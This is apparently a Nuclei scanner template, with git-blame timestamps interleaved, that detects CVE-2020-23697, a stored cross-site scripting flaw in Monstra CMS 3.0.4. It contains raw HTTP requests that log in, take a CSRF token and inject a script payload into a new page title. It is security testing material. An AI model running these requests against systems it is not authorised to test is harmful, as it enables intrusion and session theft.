2023-01-10 05:49:47 +00:00
id : CVE-2020-23697
info :
2023-02-01 16:32:32 +00:00
name : Monstra CMS 3.0.4 - Cross-Site Scripting
2023-01-10 05:49:47 +00:00
author : ritikchaddha
severity : medium
description : |
2023-02-01 16:32:32 +00:00
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
2023-01-10 05:49:47 +00:00
reference :
- https://github.com/monstra-cms/monstra/issues/463
- https://nvd.nist.gov/vuln/detail/CVE-2020-23697
classification :
2023-01-18 08:35:45 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
2023-01-10 05:49:47 +00:00
cve-id : CVE-2020-23697
2023-01-18 08:35:45 +00:00
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
epss-score : 0.0009
2023-12-12 11:07:52 +00:00
epss-percentile : 0.37736
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:*
2023-01-10 05:49:47 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:22:36 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : monstra
product : monstra_cms
2023-12-05 09:50:33 +00:00
tags : cve,cve2020,xss,mostra,mostracms,cms,authenticated,monstra
2023-01-10 05:49:47 +00:00
variables :
string : "{{to_lower('{{randstr}}')}}"
2023-04-27 04:28:59 +00:00
http :
2023-01-10 05:49:47 +00:00
- raw :
- |
POST /admin/index.php?id=dashboard HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
login={{username}}&password={{password}}&login_submit=Log+In
- |
GET /admin/index.php?id=pages&action=add_page HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
- |
POST /admin/index.php?id=pages&action=add_page HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
- |
GET /{{string}} HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
2023-06-19 21:10:30 +00:00
- 'contains(header_4, "text/html")'
2023-01-10 05:49:47 +00:00
- 'status_code_4 == 200'
- 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
condition : and
extractors :
- type : regex
name : csrf
group : 1
regex :
- 'id="csrf" name="csrf" value="(.*)">'
internal : true
2023-07-11 19:49:27 +00:00
part : body
2023-12-12 12:02:03 +00:00
# digest: 4a0a00473045022100bcd43df6f7a0fbbda6f99bb5d6ceb9af5f6ec854517d95dec7a9b58e6d9695a0022059e20076b3be418a2c52f33ed7894d99b50f9a441727c4ac4f61bceb25d54f72:922c64590222798bb761d5b6d8e72950